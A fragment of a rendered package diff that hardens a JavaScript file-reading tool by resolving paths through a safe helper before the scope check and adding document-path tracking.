|
+
idx = stripped.toLowerCase().indexOf(name.toLowerCase(), idx + 1);
|
|
47
|
+
}
|
|
48
|
+
cur = dirname(cur);
|
|
49
|
+
}
|
|
50
|
+
return resolved;
|
|
51
|
+
}
|
package/dist/tools/read-file.js
CHANGED
|
@@ -1,9 +1,10 @@
|
|
|
1
1
|
import { readFileSync, existsSync } from "fs";
|
|
2
|
-
import {
|
|
2
|
+
import { extname } from "path";
|
|
3
3
|
import { t } from "../i18n/index";
|
|
4
4
|
import { isPathInScope } from "../modules/security/path-validator";
|
|
5
5
|
import { DEFAULT_SECURITY_CONFIG } from "../config/security";
|
|
6
6
|
import { logSecurityBlock } from "../modules/security/audit-log";
|
|
7
|
+
import { safeResolvePath } from "./path-utils";
|
|
7
8
|
/** Default number of lines returned when the caller omits `limit`. */
|
|
8
9
|
const DEFAULT_LIMIT = 50;
|
|
9
10
|
export const readFileTool = {
|
|
@@ -27,8 +28,9 @@ export const readFileTool = {
|
|
|
27
28
|
},
|
|
28
29
|
handler: async (ctx, args) => {
|
|
29
30
|
const path = String(args.path);
|
|
31
|
+
const resolved = safeResolvePath(ctx.baseDir, path);
|
|
30
32
|
const securityPaths = ctx.config?.security?.paths || DEFAULT_SECURITY_CONFIG.paths;
|
|
31
|
-
const scopeCheck = isPathInScope(ctx.baseDir,
|
|
33
|
+
const scopeCheck = isPathInScope(ctx.baseDir, resolved, ctx.scope, securityPaths);
|
|
32
34
|
if (!scopeCheck.allowed) {
|
|
33
35
|
const pathStr = path;
|
|
34
36
|
logSecurityBlock(ctx.sessionId || undefined, "file_read", scopeCheck.reason || "Path not allowed", pathStr);
|
|
@@ -39,12 +41,13 @@ export const readFileTool = {
|
|
|
39
41
|
}),
|
|
40
42
|
};
|
|
41
43
|
}
|
|
42
|
-
const resolved = resolve(ctx.baseDir, normalize(path));
|
|
43
44
|
if (!existsSync(resolved)) {
|
|
44
45
|
return { success: false, output: t("file.notfound", { path }) };
|
|
45
46
|
}
|
|
46
47
|
ctx.trackReadPath?.(path);
|
|
47
48
|
const content = readFileSync(resolved, "utf-8");
|
|
49
|
+
// Track file paths mentioned in the document (e.g. structure.md, README)
|
|
50
|
+
ctx.trackDocumentContent?.(content);
|
|
48
51
|
const lines = content.split("\n");
|
|
49
52
|
const total = lines.length;
|
|
50
53
|
const offset = args.offset || 1;
|